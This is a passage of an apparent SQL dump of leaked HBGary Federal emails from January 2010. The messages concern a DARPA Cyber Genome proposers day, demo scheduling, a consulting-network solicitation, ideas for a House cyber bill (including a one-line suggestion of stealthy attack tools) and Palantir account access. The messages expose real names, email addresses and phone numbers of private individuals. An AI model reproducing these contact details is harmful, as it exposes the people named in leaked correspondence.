the session.  ',15296,'aaron_hbgary_com/15296.html'),(1683,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000522.M488483P3547Q1683.eml','\"message\" <message@webex.com>','Event accepted: Meeting scheduled: DARPA Vendor Days','Aaron Barr has accepted your iCal event invitation to the event: Meeting scheduled: DARPA Vendor Days, scheduled for January 28, 2010 at 3:00 PM (Eastern Standard Time).',9025,'aaron_hbgary_com/9025.html'),(1684,'2010-01-28','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297000522.M679160P3547Q1684.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     message@webex.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 #5.1.0 Address rejected message@webex.com (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.231.150.2 with SMTP id w2mr952743ibv.90.1264692090484;\r\n        Thu, 28 Jan 2010 07:21:30 -0800 (PST)\r\nReturn-Path: \r\nReceived: from ?192.168.1.105? (ip98-169-62-13.dc.dc.cox.net [98.169.62.13])\r\n        by mx.google.com with ESMTPS id 23sm1030701iwn.7.2010.01.28.07.21.29\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Thu, 28 Jan 2010 07:21:29 -0800 (PST)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/alternative; boundary=Apple-Mail-85-769562732\r\nSubject: Event accepted: Meeting scheduled: DARPA Vendor Days\r\nDate: Thu, 28 Jan 2010 10:21:27 -0500\r\nX-Mail-Calendar-Part: Yes\r\nTo: message \r\nMessage-Id: \r\nMime-Version: 1.0 (Apple Message framework v1077)\r\nX-Mailer: Apple Mail (2.1077)\r\n\r\nAaron Barr has accepted your iCal event invitation to the event: Meeting scheduled: DARPA Vendor Days, scheduled for January 28, 2010 at 3:00 PM (Eastern Standard Time).',16895,'aaron_hbgary_com/16895.html'),(1685,'2010-01-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000522.M883794P3547Q1685.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','RE: DARPA\'s Cyber Genome Proposers Day TOMORROW','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen is the telecom today?&nbsp; I think the earlier the better so we\r\nhave some prep time.\r\n\r\n&nbsp;\r\n\r\nRC\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 10:18 AM\r\nTo: Rich Cummings\r\nCc: Ted Vera; Greg Hoglund; Penny C. Leavy; Bob Slapnik; Matt O\'Flynn;\r\nPhil Wallisch\r\nSubject: Re: DARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 10:16 AM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks\r\nlike I got in for tomorrow.&nbsp; Did anyone else get this?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Grosvenor, Anne\r\n[mailto:agrosvenor@sysplan.com] \r\nSent: Thursday, January 28, 2010 10:02 AM\r\nTo: anne.grosvenor.ctr@darpa.mil\r\nSubject: DARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank you for registering\r\nfor the DARPA Cyber Genome Proposers Day.&nbsp; \r\n\r\nIn order to attend the\r\nmeeting you will need to fill out the attached Citizenship Verification\r\nform.&nbsp;&nbsp; Due to the last minute nature of this request, you may fill\r\nit out on your own rather than having your security department do this.&nbsp;\r\nPlease sign the form and bring it with you, along with a government issued ID,\r\nto check in tomorrow morning.&nbsp; There will also be plenty of blank copies on hand tomorrow if you cannot print and sign\r\nthis form before the meeting.&nbsp; Registration begins at 7:00am and the\r\nmeeting begins at\r\n8:00am.&nbsp;&nbsp; \r\n\r\n&lt;&lt;Citizenship\r\nVerification Form.doc&gt;&gt; \r\n\r\nAnne\r\nGrosvenor\r\n\r\nSystem\r\nPlanning Corporation\r\n\r\nagrosvenor@sysplan.com\r\n\r\nanne.grosvenor.ctr@darpa.mil\r\n\r\n703-351-8794\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Citizenship Verification Form.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15442,'aaron_hbgary_com/15442.html'),(1686,'2010-01-28','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000523.M161397P3547Q1686.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Demo','Yes I can do that.  I&#39;m trying to profile the potential customers before these calls.  So if you could let me know what their objectives are, what problems they are trying to solve, where you think we could help (Responder or Enterprise), etc....\r\nOur procedure is to create a Google calendar entry and schedule the Webex.On Thu, Jan 28, 2010 at 10:06 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPhil,\r\n\r\nCan you support a webex demo 6pm your time next tuesday, the 2nd.\r\n\r\nTed and I will be in Colorado Springs in a meeting with some TASC folks.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',11304,'aaron_hbgary_com/11304.html'),(1687,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000523.M369410P3547Q1687.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,,','Re: DARPA\'s Cyber Genome Proposers Day TOMORROW','I scheduled for 3pm EST to give the westies an opportunity to dial in but I can move it up if thats better. &nbsp;Did you all get the invite? &nbsp;I got an error on the domain so wasn\'t sure.AaronOn Jan 28, 2010, at 10:21 AM, Rich Cummings wrote:When is the telecom today?&nbsp; I think the earlier the better so we have some prep time.&nbsp;RC&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 28, 2010 10:18 AMTo:&nbsp;Rich CummingsCc:&nbsp;Ted Vera; Greg Hoglund; Penny C. Leavy; Bob Slapnik; Matt O\'Flynn; Phil WallischSubject:&nbsp;Re: DARPA\'s Cyber Genome Proposers Day TOMORROW&nbsp;Yep.From my iPhoneOn Jan 28, 2010, at 10:16 AM, \"Rich Cummings\" &lt;rich@hbgary.com&gt; wrote:Looks like I got in for tomorrow.&nbsp; Did anyone else get this?&nbsp;From:&nbsp;Grosvenor, Anne [mailto:agrosvenor@sysplan.com]&nbsp;Sent:&nbsp;Thursday, January 28, 2010 10:02 AMTo:&nbsp;anne.grosvenor.ctr@darpa.milSubject:&nbsp;DARPA\'s Cyber Genome Proposers Day TOMORROW&nbsp;Thank you for registering for the DARPA Cyber Genome Proposers Day.&nbsp;In order to attend the meeting you will need to fill out the attached Citizenship Verification form.&nbsp;&nbsp; Due to the last minute nature of this request, you may fill it out on your own rather than having your security department do this.&nbsp; Please sign the form and bring it with you, along with a government issued ID, to check in tomorrow morning.&nbsp; There will also be plenty of&nbsp;blank&nbsp;copies on hand tomorrow if you cannot print and sign this form before the meeting.&nbsp; Registration begins at 7:00am and the&nbsp;meeting begins at 8:00am.&nbsp;&nbsp;&lt;&lt;Citizenship Verification Form.doc&gt;&gt;Anne GrosvenorSystem Planning Corporationagrosvenor@sysplan.comanne.grosvenor.ctr@darpa.mil703-351-8794&lt;Citizenship Verification Form.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12459,'aaron_hbgary_com/12459.html'),(1688,'2010-01-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000523.M554243P3547Q1688.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','RE: DARPA\'s Cyber Genome Proposers Day TOMORROW','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGot it, I&#8217;m in.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 10:26 AM\r\nTo: Rich Cummings\r\nCc: \'Ted Vera\'; \'Greg Hoglund\'; \'Penny C. Leavy\'; \'Bob Slapnik\'; \'Matt\r\nO\'Flynn\'; \'Phil Wallisch\'\r\nSubject: Re: DARPA\'s Cyber Genome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI scheduled for 3pm EST to give the westies an opportunity\r\nto dial in but I can move it up if thats better. &nbsp;Did you all get the\r\ninvite? &nbsp;I got an error on the domain so wasn\'t sure.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 10:21 AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen is the telecom today?&nbsp; I think the earlier the better\r\nso we have some prep time.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n28, 2010 10:18 AM\r\nTo:&nbsp;Rich Cummings\r\nCc:&nbsp;Ted Vera; Greg\r\nHoglund; Penny C. Leavy; Bob Slapnik; Matt O\'Flynn; Phil Wallisch\r\nSubject:&nbsp;Re: DARPA\'s Cyber\r\nGenome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 10:16 AM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks like I got in for tomorrow.&nbsp; Did anyone else get this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Grosvenor, Anne\r\n[mailto:agrosvenor@sysplan.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n28, 2010 10:02 AM\r\nTo:&nbsp;anne.grosvenor.ctr@darpa.mil\r\nSubject:&nbsp;DARPA\'s Cyber\r\nGenome Proposers Day TOMORROW\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThank you for registering\r\nfor the DARPA Cyber Genome Proposers Day.&nbsp;\r\n\r\nIn order to attend the\r\nmeeting you will need to fill out the attached Citizenship Verification\r\nform.&nbsp;&nbsp; Due to the last minute nature of this request, you may fill\r\nit out on your own rather than having your security department do this.&nbsp; Please\r\nsign the form and bring it with you, along with a government issued ID, to\r\ncheck in tomorrow morning.&nbsp; There will also be plenty of&nbsp;blank&nbsp;copies\r\non hand tomorrow if you cannot print and sign this form before the\r\nmeeting.&nbsp; Registration begins at 7:00am and the&nbsp;meeting\r\nbegins at 8:00am.&nbsp;&nbsp;\r\n\r\n&lt;&lt;Citizenship\r\nVerification Form.doc&gt;&gt;\r\n\r\nAnne\r\nGrosvenor\r\n\r\nSystem\r\nPlanning Corporation\r\n\r\nagrosvenor@sysplan.com\r\n\r\nanne.grosvenor.ctr@darpa.mil\r\n\r\n703-351-8794\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Citizenship Verification Form.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1451,'aaron_hbgary_com/1451.html'),(1689,'2010-01-28','\"Ann Marie Arquilla\" <amarquilla@mavenresearch.com>','/aaron@hbgary.com/new/1297000523.M822221P3547Q1689.eml','\"Aaron\" <aaron@hbgary.com>','Reminder: I Have Nominated You for Membership i  n Maven','\r\n\r\n\r\nAaron,\r\n\r\nMy name is Ann Marie Arquilla, and I am an Account Manager at Maven Research. We ran across your contact information and thought you might be interested in becoming a member of the Maven network, through which you will have the opportunity to earn substantial consulting fees by sharing your knowledge with other professionals.\r\nMaven connects knowledge seekers with reputable professionals for paid interactions, including brief Telephone Consultations, Electronic Surveys, and Extended Consulting Projects. Our Clients frequently seek out academics, engineers, resellers, researchers, and other professionals to consult with, and we are willing to pay you at an hourly rate of your choosing to interact with them. Please follow the link below to learn more, and let me know if you have any questions about Maven.\r\n\r\n\r\nClick here to learn more. If the link doesn\'t work, you can copy and paste the text below into your web browser:\r\n\r\nhttp://www.mavenresearch.com/invite/accept/Mnmskp4Y\r\n\r\nAnn Marie\r\n\r\n\r\n\r\nAaron,\r\n\r\nYou have been nominated for Membership in Maven, the Global Knowledge Marketplace. Ann Marie believes that you would be an excellent contributor to Maven. Maven provides a platform for you to profit from what you know by consulting with Maven’s clients, who are researchers willing to pay to gain knowledge on a wide variety of subjects. Because we are all experts in something, we should all have the opportunity to profit from what we know.\r\n\r\nWhy Join Maven? Profit. Researchers will pay to learn about products, technologies, markets, and trends – and while the topics they wish to discuss may be part of the daily grind for you, they are obscure and interesting to others. Maven\'s clients know that the best and most efficient way to learn is not to wander around the Internet for hours, but to talk to knowledgeable professionals with actual real world experience. Maven is the only marketplace that allows you to advertise and share your knowledge directly with those who value it most.\r\n\r\nFurthermore, it’s not just what you know, it’s who you know. Once you become a Member, Maven will pay you ongoing commissions on consulting fees earned by any new Members you introduce to the Maven Knowledge Marketplace.\r\n\r\nBecoming a Maven is free and takes just a few minutes. Once you join, Maven\'s Clients will have the ability to find your knowledge profile (which does not disclose your identity or contact info) and offer you opportunities to share your knowledge via short engagements such as telephone consultations and anonymous surveys. You decide whether to participate in each individual engagement. Of course, you will be compensated for your participation at the hourly rate of your choosing. (How much? Click here to find out.)\r\n\r\nWe encourage you to start building your profile today. If you get interrupted, you can always save your partial profile and return to complete it later. Once you have finished, don’t forget to use the “Earn Dividends” link from within your profile to invite other Mavens and increase your profits.\r\n\r\nClick here to learn more. If the link doesn\'t work, you can copy and paste the text below into your web browser:\r\n\r\nhttp://www.mavenresearch.com/invite/accept/Mnmskp4Y\r\n\r\n\r\n\r\n\r\nAlready a Maven? Click here to add this e-mail address to your Profile.\r\n\r\nNot interested in Maven? Click here and we will remove you from further communications.\r\n\r\n\r\n\r\n&copy; 2009 Maven Research, Inc.; 505 Montgomery Street, 11th Floor, San Francisco, CA 94111',9926,'aaron_hbgary_com/9926.html'),(1690,'2010-01-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000524.M19248P3547Q1690.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,','Re: request for amendments - cyber bill','Legislation ideas that would help HBGary.....\r\n \r\n1. Public companies are required to publicly disclose that they have been compromised.  This would ensure that stockholders have true info about the health of the company.\r\n \r\n2. Companies must share information about compromises so that the collective information can be used to identify the cyber adversaries.\r\n \r\n3. Companies must certify that their security measures comply with a predefined standard\r\n \r\nOn Wed, Jan 27, 2010 at 7:29 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCouple of things I might want to bring up\r\n \r\n1.       They should have a point system where they encourage woman owned, Hispanic etc companies as well as companies in smaller metropolitan areas so that more job creation happens.\r\n\r\n2.       Given that many of the new malware attacks are coming through the gateways to the end points and gov’t and corporate America have been reticent to secure end points (which is where attacks are happening) then perhaps give companies focusing on these areas extra money to help continue to develop and create funded deployment program (because it’s harder to deploy on end node requires more people)  This would be geared toward dampening the spread of malware\r\n\r\n3.       Going after cybercriminals who go after children is always popular.  Software to help capture and track them and to provide training to law enforcement would be popular and probably get funded.  \r\n\r\n4.       How bout developing stealthy attack tools that would launch when a vulnerability was discovered, much like that honeypot discussion you and Greg had last month\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, January 27, 2010 3:49 PM\r\nTo: Greg Hoglund; Penny Leavy; Ted Vera; Rich CummingsSubject: Fwd: request for amendments - cyber bill\r\n \r\n\r\nWow.  Anyone interested in drafting some legislation.  Looks like I have some work to do.  Any ideas would be helpful.\r\n\r\n \r\n\r\nAaronFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Date: January 27, 2010 6:45:14 PM EST\r\nTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is that you can go long stretches of time where you never seem to have traction on an issue, and then suddenly a window of opportunity presents itself and you have a brief moment to take advantage of it.  This is one of those moments for cybersecurity here in the House of Reps.\r\n\r\n \r\nSeveral months ago, the Science and Technology Committee marked up a Cyber R&amp;D bill.  You can find the bill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.  As you can tell, this was a fairly noncontroversial bill.  The Speaker’s office decided today that they want this bill on the floor next week (likely Wednesday or Thursday).  \r\n\r\n \r\nHere’s how the procedure works.  Members are allowed to write amendments to the bill.  They submit them to the Rules Committee.  On Monday night, the Rules Committee will consider those amendments, and rule them either “in order” or “out of order.”  Amendments are supposed to be “germane” to the section of the bill that is being amended (there is a test for this, but basically an amendment has to relate to the subject matter under consideration).  Amendments that are ruled “in order” can then be raised by that member on the floor – and put to a vote of the House.  \r\n\r\n \r\nAs you can see from the text, the bill contains provisions on R&amp;D, cyber workforce, strategic planning, social and behavioral cyber research, the focus of NSF grants, scholarship for service, NIST research, international standards, identity management, cyber awareness into legislation.  Lots of good and interesting subjects that can be improved and enhanced through the amendment process.  For those looking for an opportunity, this is a great way to address some of these issues in a bill that will be voted on by the House of Representatives.   \r\n\r\n \r\nMembers have already been asking me for amendments, and I am busy drafting.  You are a trusted ally, and I would really appreciate if you can take a look at this bill, see if you have some ideas about ways to improve it, and send them to me.  Please be creative!  I will take your submissions, turn them into amendment language, and send them to members who are interested in amending this bill.\r\n\r\n \r\nSorry for the late notice, but I need your proposals by not later than FRIDAY at NOON.  If you’re not comfortable drafting an amendment, feel free to submit an “idea” to me and I will do my best to turn it into legislative language that the members can use.\r\n\r\n \r\nThanks for your help.\r\n \r\nJake\r\n \r\nJacob Olcott\r\nSubcommittee Director and Counsel\r\nEmerging Threats, Cybersecurity, S&amp;T Subcommittee\r\nCommittee on Homeland Security (Majority)\r\n202-226-2623\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',4975,'aaron_hbgary_com/4975.html'),(1691,'2010-01-28','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000524.M233971P3547Q1691.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conference Call','I think you have credentials?  Also, what\'s Greg\'s email?\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 6:12 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Conference Call\r\n\r\nMatt,\r\n\r\nDid I get added to the Dev Zone?  Can Greg be added?  Not like we are trying to get the whole company on there, but the two of us would be helpful.\r\n\r\nTHanks,\r\nAaron\r\n\r\n\r\nOn Jan 7, 2010, at 5:57 PM, Matthew Steckman wrote:\r\n\r\n> Aaron,\r\n> \r\n> Can you send me first and last name of those folks?  Just need it for their account submittal.\r\n> \r\n> Yeah, we saw that IARPA thing.  They are basically asking for Palantir which is kind of odd.  We are going to respond with something like, \"Hey, this is already built, but we\'ll take your money for some R&D\"\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, January 07, 2010 8:02 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Conference Call\r\n> \r\n> Hey Matt,\r\n> \r\n> No worries.  I think we will be able to turn something around pretty quickly here for integration, then just a matter of what do we want to demo.\r\n> \r\n> Developers:\r\n> Kam@hbgary.com\r\n> michael@hbgary.com\r\n> scott@hbgary.com\r\n> and if it is any benefit aaron@hbgary.com\r\n> \r\n> How about Friday? I am open.\r\n> \r\n> Aaron\r\n> \r\n> Also,  do you know anything about the IARPA BAA, link listed below.  Maybe a bit of a stretch but it seems like there could be some applicability.\r\n> \r\n> http://www.iarpa.gov/solicitations_kdd.html\r\n> \r\n> \r\n> \r\n> On Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n> \r\n>> Sorry I was sucky and late to the call.  Just forward me the email addresses of the developers on the call and Ill hook them up with our resources.  \r\n>> \r\n>> Let me know if you want to chat sometime this week.\r\n>> \r\n>> -Matt\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, January 06, 2010 4:37 PM\r\n>> To: Matthew Steckman\r\n>> Subject: Conference Call\r\n>> \r\n>> Hey Matt,\r\n>> \r\n>> We have a conference call scheduled for right now right?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1192,'aaron_hbgary_com/1192.html'),(1692,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000524.M420912P3547Q1692.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Conference Call','I figured I probably did.  Any particular info I need to get in?\r\n\r\nGreg@hbgary.com\r\nGreg Hoglund\r\n\r\n\r\nOn Jan 28, 2010, at 11:04 AM, Matthew Steckman wrote:\r\n\r\n> I think you have credentials?  Also, what\'s Greg\'s email?\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, January 28, 2010 6:12 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Conference Call\r\n>\r\n> Matt,\r\n>\r\n> Did I get added to the Dev Zone?  Can Greg be added?  Not like we  \r\n> are trying to get the whole company on there, but the two of us  \r\n> would be helpful.\r\n>\r\n> THanks,\r\n> Aaron\r\n>\r\n>\r\n> On Jan 7, 2010, at 5:57 PM, Matthew Steckman wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Can you send me first and last name of those folks?  Just need it  \r\n>> for their account submittal.\r\n>>\r\n>> Yeah, we saw that IARPA thing.  They are basically asking for  \r\n>> Palantir which is kind of odd.  We are going to respond with  \r\n>> something like, \"Hey, this is already built, but we\'ll take your  \r\n>> money for some R&D\"\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, January 07, 2010 8:02 AM\r\n>> To: Matthew Steckman\r\n>> Subject: Re: Conference Call\r\n>>\r\n>> Hey Matt,\r\n>>\r\n>> No worries.  I think we will be able to turn something around  \r\n>> pretty quickly here for integration, then just a matter of what do  \r\n>> we want to demo.\r\n>>\r\n>> Developers:\r\n>> Kam@hbgary.com\r\n>> michael@hbgary.com\r\n>> scott@hbgary.com\r\n>> and if it is any benefit aaron@hbgary.com\r\n>>\r\n>> How about Friday? I am open.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Also,  do you know anything about the IARPA BAA, link listed  \r\n>> below.  Maybe a bit of a stretch but it seems like there could be  \r\n>> some applicability.\r\n>>\r\n>> http://www.iarpa.gov/solicitations_kdd.html\r\n>>\r\n>>\r\n>>\r\n>> On Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n>>\r\n>>> Sorry I was sucky and late to the call.  Just forward me the email  \r\n>>> addresses of the developers on the call and Ill hook them up with  \r\n>>> our resources.\r\n>>>\r\n>>> Let me know if you want to chat sometime this week.\r\n>>>\r\n>>> -Matt\r\n>>>\r\n>>> Matthew Steckman\r\n>>> Palantir Technologies | Forward Deployed Engineer\r\n>>> msteckman@palantirtech.com | 202-257-2270\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, January 06, 2010 4:37 PM\r\n>>> To: Matthew Steckman\r\n>>> Subject: Conference Call\r\n>>>\r\n>>> Hey Matt,\r\n>>>\r\n>>> We have a conference call scheduled for right now right?\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n',5770,'aaron_hbgary_com/5770.html'),(1693,'2010-01-28','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000524.M603554P3547Q1693.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conference Call','Hmm, you should have received an email from our support team with your credentials.  \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 11:07 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Conference Call\r\n\r\nI figured I probably did.  Any particular info I need to get in?\r\n\r\nGreg@hbgary.com\r\nGreg Hoglund\r\n\r\n\r\nOn Jan 28, 2010, at 11:04 AM, Matthew Steckman wrote:\r\n\r\n> I think you have credentials?  Also, what\'s Greg\'s email?\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, January 28, 2010 6:12 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Conference Call\r\n>\r\n> Matt,\r\n>\r\n> Did I get added to the Dev Zone?  Can Greg be added?  Not like we  \r\n> are trying to get the whole company on there, but the two of us  \r\n> would be helpful.\r\n>\r\n> THanks,\r\n> Aaron\r\n>\r\n>\r\n> On Jan 7, 2010, at 5:57 PM, Matthew Steckman wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Can you send me first and last name of those folks?  Just need it  \r\n>> for their account submittal.\r\n>>\r\n>> Yeah, we saw that IARPA thing.  They are basically asking for  \r\n>> Palantir which is kind of odd.  We are going to respond with  \r\n>> something like, \"Hey, this is already built, but we\'ll take your  \r\n>> money for some R&D\"\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, January 07, 2010 8:02 AM\r\n>> To: Matthew Steckman\r\n>> Subject: Re: Conference Call\r\n>>\r\n>> Hey Matt,\r\n>>\r\n>> No worries.  I think we will be able to turn something around  \r\n>> pretty quickly here for integration, then just a matter of what do  \r\n>> we want to demo.\r\n>>\r\n>> Developers:\r\n>> Kam@hbgary.com\r\n>> michael@hbgary.com\r\n>> scott@hbgary.com\r\n>> and if it is any benefit aaron@hbgary.com\r\n>>\r\n>> How about Friday? I am open.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Also,  do you know anything about the IARPA BAA, link listed  \r\n>> below.  Maybe a bit of a stretch but it seems like there could be  \r\n>> some applicability.\r\n>>\r\n>> http://www.iarpa.gov/solicitations_kdd.html\r\n>>\r\n>>\r\n>>\r\n>> On Jan 6, 2010, at 6:09 PM, Matthew Steckman 